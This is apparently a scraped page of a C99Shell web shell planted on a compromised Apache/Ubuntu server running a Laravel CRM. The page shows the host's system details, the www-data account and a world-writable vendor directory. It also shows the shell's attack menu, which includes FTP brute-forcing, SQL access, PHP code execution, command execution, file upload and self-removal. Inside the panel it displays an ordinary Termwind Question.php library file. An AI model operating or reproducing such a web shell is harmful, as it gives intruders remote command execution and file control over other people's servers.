!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/nunomaduro/termwind/src/   drwxrwxrwx
Free 13.03 GB of 57.97 GB (22.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Question.php (2.48 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Termwind;

use 
ReflectionClass;
use 
Symfony\Component\Console\Helper\SymfonyQuestionHelper;
use 
Symfony\Component\Console\Input\ArgvInput;
use 
Symfony\Component\Console\Input\StreamableInputInterface;
use 
Symfony\Component\Console\Question\Question as SymfonyQuestion;
use 
Symfony\Component\Console\Style\SymfonyStyle;
use 
Termwind\Helpers\QuestionHelper;

/**
 * @internal
 */
final class Question
{
    
/**
     * The streamable input to receive the input from the user.
     */
    
private static StreamableInputInterface|null $streamableInput;

    
/**
     * An instance of Symfony's question helper.
     */
    
private SymfonyQuestionHelper $helper;

    public function 
__construct(?SymfonyQuestionHelper $helper null)
    {
        
$this->helper $helper ?? new QuestionHelper;
    }

    
/**
     * Sets the streamable input implementation.
     */
    
public static function setStreamableInput(StreamableInputInterface|null $streamableInput): void
    
{
        
self::$streamableInput $streamableInput ?? new ArgvInput;
    }

    
/**
     * Gets the streamable input implementation.
     */
    
public static function getStreamableInput(): StreamableInputInterface
    
{
        return 
self::$streamableInput ??= new ArgvInput;
    }

    
/**
     * Renders a prompt to the user.
     *
     * @param  iterable<array-key, string>|null  $autocomplete
     */
    
public function ask(string $question, ?iterable $autocomplete null): mixed
    
{
        
$html = (new HtmlRenderer)->parse($question)->toString();

        
$question = new SymfonyQuestion($html);

        if (
$autocomplete !== null) {
            
$question->setAutocompleterValues($autocomplete);
        }

        
$output Termwind::getRenderer();

        if (
$output instanceof SymfonyStyle) {
            
$property = (new ReflectionClass(SymfonyStyle::class))
                ->
getProperty('questionHelper');

            
$property->setAccessible(true);

            
$currentHelper $property->isInitialized($output)
                ? 
$property->getValue($output)
                : new 
SymfonyQuestionHelper;

            
$property->setValue($output, new QuestionHelper);

            try {
                return 
$output->askQuestion($question);
            } finally {
                
$property->setValue($output$currentHelper);
            }
        }

        return 
$this->helper->ask(
            
self::getStreamableInput(),
            
Termwind::getRenderer(),
            
$question,
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0112 ]--